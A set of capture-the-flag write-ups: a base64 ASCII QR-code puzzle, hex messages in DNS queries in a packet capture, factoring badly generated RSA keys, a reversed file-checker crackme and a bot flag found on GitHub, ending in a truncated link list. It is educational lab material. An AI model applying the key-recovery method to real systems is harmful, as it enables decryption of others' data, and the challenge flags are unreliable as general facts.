# misc60 - 'Quick Run' > Someone sent me a file with white and black rectangles. I don't know how> to read it. Can you help me? > Attachment: Download [misc60.zip](./misc60.zip) After opening up misc60.zip inside **README.txt** we're greeted with huge strings of repetitive letters. Without spamming the page, here's just one 'block'. ```4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICuKWiOKWiCAgICAgICAgICAgICAg4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paIICAgICAgICAgICAgICDilojilogK4paI4paIICDilojilojilojilojilojilojilojilojilojiloggIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAg4paI4paIICDilojilojilojilojilojilojilojilojilojiloggIOKWiOKWiArilojiloggIOKWiOKWiCAgICAgIOKWiOKWiCAg4paI4paIICDilojilojilojiloggICAg4paI4paIICDilojiloggICAgICDilojiloggIOKWiOKWiArilojiloggIOKWiOKWiCAgICAgIOKWiOKWiCAg4paI4paI4paI4paI4paI4paI4paI4paI4paI4paIICDilojiloggIOKWiOKWiCAgICAgIOKWiOKWiCAg4paI4paICuKWiOKWiCAg4paI4paIICAgICAg4paI4paIICDilojiloggIOKWiOKWiOKWiOKWiCAg4paI4paI4paI4paIICDilojiloggICAgICDilojiloggIOKWiOKWiArilojiloggIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAg4paI4paI4paI4paIICAgIOKWiOKWiCAg4paI4paIICDilojilojilojilojilojilojilojilojilojiloggIOKWiOKWiArilojiloggICAgICAgICAgICAgIOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiCAgICAgICAgICAgICAg4paI4paICuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAgICDilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilojilogK4paI4paI4paI4paIICDilojilojilojiloggIOKWiOKWiCAg4paI4paI4paI4paIICAgIOKWiOKWiCAgICDilojilojilojiloggIOKWiOKWiCAg4paI4paIICDilojilogK4paI4paIICAgICAgICAgICAg4paI4paIICAgIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAg4paI4paIICDilojilojilojilojilojilojilojiloggIOKWiOKWiArilojiloggIOKWiOKWiCAg4paI4paI4paI4paI4paI4paIICAgICAgICAgICAg4paI4paI4paI4paI4paI4paI4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paICuKWiOKWiCAg4paI4paI4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paI4paI4paICuKWiOKWiOKWiOKWiCAg4paI4paIICAgIOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paIICDilojilogK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paI4paI4paICuKWiOKWiCAgICAgICAgICAgICAg4paI4paI4paI4paI4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paICuKWiOKWiCAg4paI4paI4paI4paI4paI4paI4paI4paI4paI4paIICDilojilojilojiloggIOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paIICDilojilojilojilogK4paI4paIICDilojiloggICAgICDilojiloggIOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paICuKWiOKWiCAg4paI4paIICAgICAg4paI4paIICDilojilojilojiloggIOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paIICDilojilojilojilogK4paI4paIICDilojiloggICAgICDilojiloggIOKWiOKWiOKWiOKWiOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiCAg4paI4paIICDilojiloggIOKWiOKWiArilojiloggIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAg4paI4paIICAgIOKWiOKWiCAgICDilojilojilojiloggIOKWiOKWiCAg4paI4paIICDilojilojilojilogK4paI4paIICAgICAgICAgICAgICDilojilojilojilojilojiloggICAg4paI4paI4paI4paI4paI4paI4paI4paIICDilojiloggICAgICDilojilogK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICg==``` Right off the bat, I notice the equals signs. Is this Base64 [again?](http://www.freeformatter.com/base64-encoder.html) ```████████████████████████████████████████████████ ██ ██ ██ ██ ████ ██████████ ██████████ ██ ██████████ ████ ██ ██ ██ ████ ██ ██ ██ ████ ██ ██ ██████████ ██ ██ ██ ████ ██ ██ ██ ████ ████ ██ ██ ████ ██████████ ████ ██ ██ ██████████ ████ ██ ██ ██ ██ ██████████████████████████ ██████████████████████ ████ ██ ████ ██ ████ ██ ██ ████ ██ ████████ ██ ████████ ████ ██ ██████ ████████ ██ ██ ████ ████ ██ ██ ██ ██ ██ ██ ██ ██ ████████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████████████████████ ██ ██ ██ ██ ██ ██████ ██████ ██ ██ ██ ██ ██ ████ ██████████ ████ ██ ██ ██ ██ ██ ██████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ████ ██ ██ ██ ██ ██ ██████ ██ ██ ██████ ██ ██ ██ ██ ██ ████ ██████████ ██ ██ ████ ██ ██ ██████ ██████ ████████ ██ ████████████████████████████████████████████████ ``` It sure is! And o-m-g it's a QR code made out of ASCII characters! Cute :3 Scrolling through the entire blocks of code. You'll notice that every block is a Base64 string, so if you paste all of the text in the **README.txt** into that decoder, you'll get A LOT of QR Codes in text. Now, I'm sure there was a better way of doing this but this was me thinking on my feet, without a QR Code Reader/Scanner. I took screenshots with [ShareX](https://getsharex.com/) of each of the QR Codes and uploaded them here: http://zxing.org/w/decode to get raw data out of them. You'll notice that every QR code is actually a code of a letter. The one listed above was just **F**. Decoding all the QRs you'll get the flag: ```Flagis:IW{QR_C0DES_RUL3}``` :3
# misc80 - '404 flag not found' > I tried to download the flag, but somehow received only 404 errors :( > Attachment: [misc80.zip](./misc80.zip) Once we open up the .zip, we're greeted with yet another **.pcapng file** . Let's open that up. ![pcap](http://i.imgur.com/gbzY52b.png) All of these packets are really really odd. In two ways: * The URLs have a subdomain of '2015' and not '2016'* They look like blobs of hexidecimals. So the first thing I did was see if one of the links was indeed a hexidecimal string. Easily do this by right clicking the packet's **Queries/Name** and pick **Copy>Value** ```496e2074686520656e642c206974277320616c6c2061626f757420666c61``` The first hexidecimal string came out to be: ```In the end, it's all about fla``` So each of these URLs ARE just encoded hexidecimal strings. I took the time to lay out my notes like so: ```496e2074686520656e642c206974277320616c6c2061626f757420666c6167732e0a5768657468657220796f752077696e206f72206c6f736520646f65736e2774206d61747465722e0a7b4f66632c2077696e6e696e6720697320636f6f6c65720a44696420796f752066696e64206f7468657220666c6167733f0a4e6f626f62792066696e6473206f7468657220666c616773210a53757065726d616e206973206d79206865726f2e0a5f4845524f2121215f0a48656c70206d65206d7920667269656e642c2049276d206c6f737420696e206d79206f776e206d696e642e0a416c776179732c20616c776179732c20666f72206576657220616c6f6e652e0a437279696e6720756e74696c2049276d206479696e672e0a4b696e6773206e65766572206469652e0a536f20646f20492e0a7d210a``` Decoding this hex-string gives us this: ```In the end, it's all about flags..Whether you win or lose doesn't matter..{Ofc, winning is cooler.Did you find other flags?.Noboby finds other flags!.Superman is my hero.._HERO!!!_.Help me my friend, I'm lost in my own mind..Always, always, for ever alone..Crying until I'm dying..Kings never die..So do I..}!.``` Weird. I'd be lying if I wasn't stumped until I took a shower and got a clean mindset to realize that these groups of text held a hidden message. Notice how there's barely any capital letters? And the first ones that are read 'IW'? Well taking this theory, eliminating everything but the capital letters, I got this: ```IW{ODNSHEROHIACIKSI}``` Weird. Whatever I'll just submit it for the lawls and ohhh..it's not right. Well it doesn't look right. So I redid the process, allowing the underscores: ```IW{ODNS_HERO_HIACIKSI}``` Nope. Still not right. Okay maybe there's some sort of rule that is applied on top of the actual capital letter rule. I noticed that there is one distinctive byte (0x0A - linefeed) between each 'phrase'. So I split them up like so: ```In the end, it's all about flags.Whether you win or lose doesn't matter.{Ofc, winning is cooler.Did you find other flags?.Noboby finds other flags!.Superman is my hero._HERO!!!_.Help me my friend, I'm lost in my own mind.Always, always, for ever alone.Crying until I'm dying.Kings never die.So do I.}!.``` Oh wow. The answer was literally right in front of me the whole time. It only takes the first capital letter or symbol before detecting another period. Reading that vertically gives the correct flag: ```IW{DNS_HACKS}``` :3
## High-speed RSA Keygen (Crypto, 150p) See the attached files. Download RSA-Keygen.tar.gz ###ENG[PL](#pl-version) We were given a ciphertext, a key generator written in Python and a public key generated by that script - so the challengeis to decrypt the ciphertext using only the public key.Looking at the script, we can notice that it generates two random prime numbers `p` and `q` and then encrypts plaintextusing RSA. Key lengths are pretty long, so we cannot easily factorize `n` using normal approach - instead we have to relyon weaknesses in generation algorithm.The interesting part of script (there were also primality checks and other things, but they are not important for this writeup):```kq = randrange(1, 2**12) + 2**12 + 2**13 + 2**14 + 2**15 + 2**16 + 2**17 + 2**18 + 2**19tq = randrange(1, 2**399)q = kq * pi * 2**400 + tq````pi` - calculated earlier - is a product of first 443 primes.Algorithm for `p` is the same. Let's see how `n=p*q` looks like: `n=p*q=` `=(kp * pi * 2**400 + tp)*(kq * pi * 2**400 + tq)=` `=kp*kq*pi^2*2^800 + kp*pi*2^400*tq + kq*pi*2^400*tp + tp*tq=` `=(pi*2^400)^2 * kp*kq + (pi*2^400) * (kq*tp+kp*tq) + tp*tq` This looks similar to number written in base `pi*2^400`. We still need to check whether "digits" are smaller than baseitself. As `pi` is around `2^600`, base is close to `2^1000`. The biggest digit is the last one - `tp*tq`, which is smaller than `2^800`, so everything is good. As we know, representation of any number in any base is unique - therefore we can recover those digits from `n` alone.Let's call those digits `A`, `B` and `C`. We have: `A=kp*kq`, `B=kp*tq+kq*tp`, `C=tp*tq` Since `kp` and `kq` have only small number of possible values (2^12), we can easily brute force the generated ones.It turns out there was only one possibility. Knowing `kp` and `kq`, we are left with two equations and two unknowns.Solving quadratic equation, we get `tp` and `tq`, which we later use to recover `p` and `q`. Decoding the ciphertextgives flag. ###PL version W zadaniu dostajemy zaszyfrowany tekst, generator kluczy napisany w Pythonie, oraz klucz publiczny wygenerowany przezniego - zadanie sprowadzało się zatem do odkodowania tekstu bez znajomości klucza prywatnego. Przestudiowanieskryptu pozwala nam stwierdzić, że użyto algorytmu RSA ze sporą wartością `p` i `q` - standardowe metody faktoryzacjizatem odpadają. Pozostaje wykorzystanie podatności w kodzie generującym klucze. Najważniejsza część skryptu (pomijając sprawdzanie pierwszości itp.):```kq = randrange(1, 2**12) + 2**12 + 2**13 + 2**14 + 2**15 + 2**16 + 2**17 + 2**18 + 2**19tq = randrange(1, 2**399)q = kq * pi * 2**400 + tq````pi` - obliczone wcześniej - to iloczyn pierwszych 443 liczb pierwszych.`p` jest obliczane analogicznie. Zobaczmy, jak zatem wygląda `n`: `n=p*q=` `=(kp * pi * 2**400 + tp)*(kq * pi * 2**400 + tq)=` `=kp*kq*pi^2*2^800 + kp*pi*2^400*tq + kq*pi*2^400*tp + tp*tq=` `=(pi*2^400)^2 * kp*kq + (pi*2^400) * (kq*tp+kp*tq) + tp*tq` Równanie wygląda podobnie do zapisu liczby w systemie o podstawie `pi*2^400`. Sprawdźmy jeszcze, czy "cyfry" tej reprezentacji są mniejsze od podstawy - jak sprawdziliśmy, `pi` jest równe około `2^600`, zatem podstawa to około`2^1000`. Z kolei największa "cyfra" to `tp`*`tq`, które jest mniejsze niż `2^800`. Wszystko się więc zgadza. Jak wiadomo, reprezentacja dowolnej liczby w dowolnym systemie liczbowym jest unikatowa - można zatem wyciągnąć te cyfryznając jedynie `n`. Nazwijmy te cyfry `A`, `B` i `C`. Mamy: `A=kp*kq`, `B=kp*tq+kq*tp`, `C=tp*tq` Ponieważ `kp` i `kq` mają niewielką liczbę możliwych wartości (2^12), łatwo możemy wybrutować te prawdziwe. Okazuje się,że jest tylko jedna para liczb spełniająca pierwsze równanie. Znając `kp` i `kq`, zostają nam dwa równania z dwiemaniewiadomymi. Rozwiązując kwadratowe równanie, otrzymujemy `tp` i `tq`, dzięki którym poznajemy `p` i `q`, którez kolei pozwalają nam na odczytanie odkodowanej wiadomości z flagą.
# rev60 - 'File Checker' > My friend sent me this file. He told that if I manage to reverse it, I'll> have access to all his devices. My misfortune that I don't know anything> about reversing :/ > Attachment: [rev60.zip](./rev60.zip) Once we open up [rev60.zip](./rev60.zip) we notice that we get a file called 'filechecker'. No extension. So I threw it into IDA and noticed that it's a 64-bit ELF file. Looking around I found a 'main' function. And what do you know, it's literally a file checker. Pressing F5 to decompile this function makes it a hell of a lot easier to see what is going on. ![Decompiled](http://i.imgur.com/SSk7BNp.png) That **sub_400760** is just a check to see if the file of **.password** exists.Returns 1 if it does, 0 if it doesn't, whatever. So on to the actual flow of the program:---* First we see if the stream is valid, if it is we do a for loop 15 times and make a temp variable. * Next we grab each character in the .password file with **fgetc*** Check if we're at the end of the file with **feof** * If we are, we take the temp variable and or it with **0x1337** and break out of the loop. * Do something with the current character we have and the current loop counter with the function **sub_40079C*** and or the temp variable with the character read in. * If our temp variable is less than or equal to 0 we win. If not, we lose. Aight. So what does that function **sub_40079C** do? ![sub_40079c](http://i.imgur.com/TxuivEy.png) Oh wow. It's a table! It's the table[i] + character and mod'ing with 0x1337 and using the character we took in from the file as an output paramater. So let's make a little C++ snippet to set this up. ```cvoid func(int i, int* v3){ int array[15] = { 0x12EE, 0x12E0, 0x12BC, 0x12F1, 0x12EE, 0x12EB, 0x12F2, 0x12D8, 0x12F4, 0x12EF, 0x12D2, 0x12F4, 0x12EC, 0x12D6, 0x12BA, }; *v3 = (array[i] + *v3) % 0x1337;} int main(int argc, char *argv[], char *envp[]){ FILE* stream = fopen("password.txt", "r"); if (stream) { int v7 = 0; for (int i = 0; i < 15; i++) { int v3 = fgetc(stream); if (feof(stream)) { v7 |= 0x1337; break; } func(i, &v3;; v7 |= v3; } if (v7 <= 0) { fclose(stream); puts("Congrats!\n"); } else { puts("Error: Wrong characters\n"); } } else { printf("Fatal error: File does not exist\n"); } system("pause");}``` Since the flag has to start with **IW{** let's write that in our password.txt (Windows doesn't allow empty names with extensions) Stepping through I noticed that temp variable of v7 is **0**. Easily I realized that we need to make a little algorithm to solve for every character with the corresponding table: ```csharp/* 0x12EE = I //0x49 0 = (0x12EE + 0x49) % 0x1337; // character = (0x1337 - array[i]) % 0x1337 0x12E0 = W //0x57 0 = (0x12E0 + 0x57) % 0x1337*/ int[] array ={ 0x12EE, 0x12E0, 0x12BC, 0x12F1, 0x12EE, 0x12EB, 0x12F2, 0x12D8, 0x12F4, 0x12EF, 0x12D2, 0x12F4, 0x12EC, 0x12D6, 0x12BA,}; for(int i = 0; i < 15; i++){ int solved = (0x1337 - array[i]) % 0x1337; Console.Write((char)solved);}``` Running that will give us the flag: ```IW{FILE_CHeCKa}``` :3
__BreakIn 2016 :: Bots are Awesome!__================================== _John Hammond_ | _Sunday, January 24, 2016_ > Aren't bots awesome!. ---------- This challenge was not very clear -- at all -- at what it was meant to be; you had to be in the [IRC] channel to even realize there was a 'bot', and it was an "[IRC] bot" that you were only able to interact with by _being on the IRC channel_. Regardless, we spotted this and started to interact with it. Apparently, the only things we could really do to get it to say anything or even do anything in response was with the preceding input of `!teeheeBreakIn`. With `!teeheeBreakIn help`, we got a _little_ more information... ```>> !teeheeBreakIn helpTEEHEEBOT : written in Golang.Current Functions: help, aboutUSAGE: '!teehee <function> [flags]``` Although, the usage is instead with `!teeheeBreakIn` rather than simply `!teehee` to start. With that we tried to run `!teeheeBreakIn about`. That got us this response, ```>> !teeheeBreakIn aboutThis is where all the magic happens. ;)``` What the heck does that mean? Regardless, we kept trying to poke at thing, but to no avail. We tried different commands we just got _hoped_ would do something, but always got the response: ```I didn't get that, try '!teehee help' ?? ``` After staring at that error response for a while (for way too long), we thought... _why don't we [Google] that response?_ With any [CTF], it's worth trying _everything_, so maybe we could find some source code online for the service. Worth a shot, at least. And bam, first [Google] result [we get some source code hosted on github](https://github.com/amoghbl1/goIrcBot/blob/master/ircbot.go) We read through this for a long long while, but it pretty much just validated all the functionality we had already figured out. So, since it was a [github] project, we figured we'd look around at the actual repository. There were no worthwhile or helpful "issues" to read in the "Issues" section, nothing valuable in the "commits"... __But then we looked at the [github][github] [branches][branches].__ We saw a ["breakin" branch](https://github.com/amoghbl1/goIrcBot/blob/breakin/ircbot.go) and we knew we had hit jackpot. [It looked like that would have more specific functionality for the real bot running for the competition.](ircbot.go) After reading through some of the source code, we found that we could also enter the command `!teeheeBreakIn breakInEnter`. In the source code we discovered, that was apparently not supposed to actually do anything... _but_, we still operate under the mentality of _try everything_. ```!teeheeBreakIn breakInEntersugarHowYouGetSoFlyyy``` Ha! _That_ doesn't look like normal functionality. ;) We entered that as our flag, and it was accepted! __The flag is `sugarHowYouGetSoFlyyy`.__ [netcat]: https://en.wikipedia.org/wiki/Netcat[Wikipedia]: https://www.wikipedia.org/[Linux]: https://www.linux.com/[man page]: https://en.wikipedia.org/wiki/Man_page[PuTTY]: http://www.putty.org/[ssh]: https://en.wikipedia.org/wiki/Secure_Shell[Windows]: http://www.microsoft.com/en-us/windows[virtual machine]: https://en.wikipedia.org/wiki/Virtual_machine[operating system]:https://en.wikipedia.org/wiki/Operating_system[OS]: https://en.wikipedia.org/wiki/Operating_system[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/[hostname]: https://en.wikipedia.org/wiki/Hostname[port number]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[distribution]:https://en.wikipedia.org/wiki/Linux_distribution[Ubuntu]: http://www.ubuntu.com/[ISO]: https://en.wikipedia.org/wiki/ISO_image[standard streams]: https://en.wikipedia.org/wiki/Standard_streams[standard output]: https://en.wikipedia.org/wiki/Standard_streams[standard input]: https://en.wikipedia.org/wiki/Standard_streams[read]: http://ss64.com/bash/read.html[variable]: https://en.wikipedia.org/wiki/Variable_%28computer_science%29[command substitution]: http://www.tldp.org/LDP/abs/html/commandsub.html[permissions]: https://en.wikipedia.org/wiki/File_system_permissions[redirection]: http://www.tldp.org/LDP/abs/html/io-redirection.html[pipe]: http://www.tldp.org/LDP/abs/html/io-redirection.html[piping]: http://www.tldp.org/LDP/abs/html/io-redirection.html[tmp]: http://www.tldp.org/LDP/Linux-Filesystem-Hierarchy/html/tmp.html[curl]: http://curl.haxx.se/[cl1p.net]: https://cl1p.net/[request]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html[POST request]: https://en.wikipedia.org/wiki/POST_%28HTTP%29[Python]: http://python.org/[interpreter]: https://en.wikipedia.org/wiki/List_of_command-line_interpreters[requests]: http://docs.python-requests.org/en/latest/[urllib]: https://docs.python.org/2/library/urllib.html[file handling with Python]: https://docs.python.org/2/tutorial/inputoutput.html#reading-and-writing-files[bash]: https://www.gnu.org/software/bash/[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[the stack]: https://en.wikipedia.org/wiki/Stack_%28abstract_data_type%29[register]: http://www.tutorialspoint.com/assembly_programming/assembly_registers.htm[hex]: https://en.wikipedia.org/wiki/Hexadecimal[hexadecimal]: https://en.wikipedia.org/wiki/Hexadecimal[archive file]: https://en.wikipedia.org/wiki/Archive_file[zip file]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[zip files]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[.zip]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[gigabytes]: https://en.wikipedia.org/wiki/Gigabyte[GB]: https://en.wikipedia.org/wiki/Gigabyte[GUI]: https://en.wikipedia.org/wiki/Graphical_user_interface[Wireshark]: https://www.wireshark.org/[FTP]: https://en.wikipedia.org/wiki/File_Transfer_Protocol[client and server]: https://simple.wikipedia.org/wiki/Client-server[RETR]: http://cr.yp.to/ftp/retr.html[FTP server]: https://help.ubuntu.com/lts/serverguide/ftp-server.html[SFTP]: https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[encryption]: https://en.wikipedia.org/wiki/Encryption[HTML]: https://en.wikipedia.org/wiki/HTML[Flask]: http://flask.pocoo.org/[SQL]: https://en.wikipedia.org/wiki/SQL[and]: https://en.wikipedia.org/wiki/Logical_conjunction[Cyberstakes]: https://cyberstakesonline.com/[cat]: https://en.wikipedia.org/wiki/Cat_%28Unix%29[symbolic link]: https://en.wikipedia.org/wiki/Symbolic_link[ln]: https://en.wikipedia.org/wiki/Ln_%28Unix%29[absolute path]: https://en.wikipedia.org/wiki/Path_%28computing%29[CTF]: https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security[Cyberstakes]: https://cyberstakesonline.com/[OverTheWire]: http://overthewire.org/[Leviathan]: http://overthewire.org/wargames/leviathan/[ls]: https://en.wikipedia.org/wiki/Ls[grep]: https://en.wikipedia.org/wiki/Grep[strings]: http://linux.die.net/man/1/strings[ltrace]: http://linux.die.net/man/1/ltrace[C]: https://en.wikipedia.org/wiki/C_%28programming_language%29[strcmp]: http://linux.die.net/man/3/strcmp[access]: http://pubs.opengroup.org/onlinepubs/009695399/functions/access.html[system]: http://linux.die.net/man/3/system[real user ID]: https://en.wikipedia.org/wiki/User_identifier[effective user ID]: https://en.wikipedia.org/wiki/User_identifier[brute force]: https://en.wikipedia.org/wiki/Brute-force_attack[for loop]: https://en.wikipedia.org/wiki/For_loop[bash programming]: http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html[Behemoth]: http://overthewire.org/wargames/behemoth/[command line]: https://en.wikipedia.org/wiki/Command-line_interface[command-line]: https://en.wikipedia.org/wiki/Command-line_interface[cli]: https://en.wikipedia.org/wiki/Command-line_interface[PHP]: https://php.net/[URL]: https://en.wikipedia.org/wiki/Uniform_Resource_Locator[TamperData]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/[Firefox]: https://www.mozilla.org/en-US/firefox/new/?product=firefox-3.6.8&os=osx%E2%8C%A9=en-US[Caesar Cipher]: https://en.wikipedia.org/wiki/Caesar_cipher[Google Reverse Image Search]: https://www.google.com/imghp[PicoCTF]: https://picoctf.com/[PicoCTF 2014]: https://picoctf.com/[JavaScript]: https://www.javascript.com/[base64]: https://en.wikipedia.org/wiki/Base64[client-side]: https://en.wikipedia.org/wiki/Client-side_scripting[client side]: https://en.wikipedia.org/wiki/Client-side_scripting[javascript:alert]: http://www.w3schools.com/js/js_popup.asp[Java]: https://www.java.com/en/[2147483647]: https://en.wikipedia.org/wiki/2147483647_%28number%29[XOR]: https://en.wikipedia.org/wiki/Exclusive_or[XOR cipher]: https://en.wikipedia.org/wiki/XOR_cipher[quipqiup.com]: http://www.quipqiup.com/[PDF]: https://en.wikipedia.org/wiki/Portable_Document_Format[pdfimages]: http://linux.die.net/man/1/pdfimages[ampersand]: https://en.wikipedia.org/wiki/Ampersand[URL encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent encoding]: https://en.wikipedia.org/wiki/Percent-encoding[URL-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[endianness]: https://en.wikipedia.org/wiki/Endianness[ASCII]: https://en.wikipedia.org/wiki/ASCII[struct]: https://docs.python.org/2/library/struct.html[pcap]: https://en.wikipedia.org/wiki/Pcap[packet capture]: https://en.wikipedia.org/wiki/Packet_analyzer[HTTP]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol[Wireshark filters]: https://wiki.wireshark.org/DisplayFilters[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[Assembly Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax[Intel Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language[Intel or AT&T]: http://www.imada.sdu.dk/Courses/DM18/Litteratur/IntelnATT.htm[AT&T syntax]: https://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax[GET request]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[GET requests]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[IP Address]: https://en.wikipedia.org/wiki/IP_address[IP Addresses]: https://en.wikipedia.org/wiki/IP_address[MAC Address]: https://en.wikipedia.org/wiki/MAC_address[session]: https://en.wikipedia.org/wiki/Session_%28computer_science%29[Cookie Manager+]: https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/[hexedit]: http://linux.die.net/man/1/hexedit[Google]: http://google.com/[Scapy]: http://www.secdev.org/projects/scapy/[ARP]: https://en.wikipedia.org/wiki/Address_Resolution_Protocol[UDP]: https://en.wikipedia.org/wiki/User_Datagram_Protocol[SQL injection]: https://en.wikipedia.org/wiki/SQL_injection[sqlmap]: http://sqlmap.org/[sqlite]: https://www.sqlite.org/[MD5]: https://en.wikipedia.org/wiki/MD5[OpenSSL]: https://www.openssl.org/[Burpsuite]:https://portswigger.net/burp/[Burpsuite.jar]:https://portswigger.net/burp/[Burp]:https://portswigger.net/burp/[NULL character]: https://en.wikipedia.org/wiki/Null_character[Format String Vulnerability]: http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf[printf]: http://pubs.opengroup.org/onlinepubs/009695399/functions/fprintf.html[argument]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[arguments]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameter]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameters]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[Vortex]: http://overthewire.org/wargames/vortex/[socket]: https://docs.python.org/2/library/socket.html[file descriptor]: https://en.wikipedia.org/wiki/File_descriptor[file descriptors]: https://en.wikipedia.org/wiki/File_descriptor[Forth]: https://en.wikipedia.org/wiki/Forth_%28programming_language%29[github]: https://github.com/[buffer overflow]: https://en.wikipedia.org/wiki/Buffer_overflow[try harder]: https://www.offensive-security.com/when-things-get-tough/[segmentation fault]: https://en.wikipedia.org/wiki/Segmentation_fault[seg fault]: https://en.wikipedia.org/wiki/Segmentation_fault[segfault]: https://en.wikipedia.org/wiki/Segmentation_fault[shellcode]: https://en.wikipedia.org/wiki/Shellcode[sploit-tools]: https://github.com/SaltwaterC/sploit-tools[Kali]: https://www.kali.org/[Kali Linux]: https://www.kali.org/[gdb]: https://www.gnu.org/software/gdb/[gdb tutorial]: http://www.unknownroad.com/rtfm/gdbtut/gdbtoc.html[payload]: https://en.wikipedia.org/wiki/Payload_%28computing%29[peda]: https://github.com/longld/peda[git]: https://git-scm.com/[home directory]: https://en.wikipedia.org/wiki/Home_directory[NOP slide]:https://en.wikipedia.org/wiki/NOP_slide[NOP]: https://en.wikipedia.org/wiki/NOP[examine]: https://sourceware.org/gdb/onlinedocs/gdb/Memory.html[stack pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[little endian]: https://en.wikipedia.org/wiki/Endianness[big endian]: https://en.wikipedia.org/wiki/Endianness[endianness]: https://en.wikipedia.org/wiki/Endianness[pack]: https://docs.python.org/2/library/struct.html#struct.pack[ash]:https://en.wikipedia.org/wiki/Almquist_shell[dash]: https://en.wikipedia.org/wiki/Almquist_shell[shell]: https://en.wikipedia.org/wiki/Shell_%28computing%29[pwntools]: https://github.com/Gallopsled/pwntools[colorama]: https://pypi.python.org/pypi/colorama[objdump]: https://en.wikipedia.org/wiki/Objdump[UPX]: http://upx.sourceforge.net/[64-bit]: https://en.wikipedia.org/wiki/64-bit_computing[breakpoint]: https://en.wikipedia.org/wiki/Breakpoint[stack frame]: http://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Mips/stack.html[format string]: http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html[format specifiers]: http://web.eecs.umich.edu/~bartlett/printf.html[format specifier]: http://web.eecs.umich.edu/~bartlett/printf.html[variable expansion]: https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html[base pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[dmesg]: https://en.wikipedia.org/wiki/Dmesg[Android]: https://www.android.com/[.apk]:https://en.wikipedia.org/wiki/Android_application_package[apk]:https://en.wikipedia.org/wiki/Android_application_package[decompiler]: https://en.wikipedia.org/wiki/Decompiler[decompile Java code]: http://www.javadecompilers.com/[jadx]: https://github.com/skylot/jadx[.img]: https://en.wikipedia.org/wiki/IMG_%28file_format%29[binwalk]: http://binwalk.org/[JPEG]: https://en.wikipedia.org/wiki/JPEG[JPG]: https://en.wikipedia.org/wiki/JPEG[disk image]: https://en.wikipedia.org/wiki/Disk_image[foremost]: http://foremost.sourceforge.net/[eog]: https://wiki.gnome.org/Apps/EyeOfGnome[function pointer]: https://en.wikipedia.org/wiki/Function_pointer[machine code]: https://en.wikipedia.org/wiki/Machine_code[compiled language]: https://en.wikipedia.org/wiki/Compiled_language[compiler]: https://en.wikipedia.org/wiki/Compiler[compile]: 